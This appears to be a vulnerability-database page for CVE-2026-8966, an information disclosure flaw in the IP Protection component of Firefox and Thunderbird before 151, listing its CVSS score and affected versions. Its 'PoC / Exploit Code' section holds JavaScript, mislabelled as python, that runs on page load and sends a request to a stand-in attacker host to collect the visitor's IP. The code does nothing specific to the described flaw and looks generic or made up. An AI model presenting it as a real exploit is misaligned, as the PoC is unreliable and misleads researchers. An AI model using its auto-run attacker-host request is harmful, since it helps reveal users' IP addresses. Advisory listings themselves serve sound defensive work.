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CVE-2026-8966 CVSS 7.5 HIGH

CVE-2026-8966

Published: 2026-05-19 14:16:53
Last Modified: 2026-05-20 17:51:24

Description

Information disclosure in the IP Protection component. This vulnerability was fixed in Firefox 151 and Thunderbird 151.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:* - VULNERABLE
Firefox < 151
Thunderbird < 151

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-8966 // This script demonstrates a potential method to verify the IP disclosure vulnerability. // It attempts to trigger the IP Protection component flaw in Firefox < 151. function initiateLeakTest() { // Target URL controlled by attacker to capture headers/IPs const targetUrl = 'https://attacker-controlled.example/collect'; // In a vulnerable version, the IP Protection proxy might fail to mask the source IP // or leak it via specific headers when fetching this resource. fetch(targetUrl, { method: 'GET', headers: { 'X-CVE-Test': 'CVE-2026-8966' } }) .then(response => { console.log('[+] Request sent. Check server logs for disclosed IP address.'); }) .catch(error => { console.error('[-] Request failed:', error); }); } // Auto-execute on load initiateLeakTest();

References

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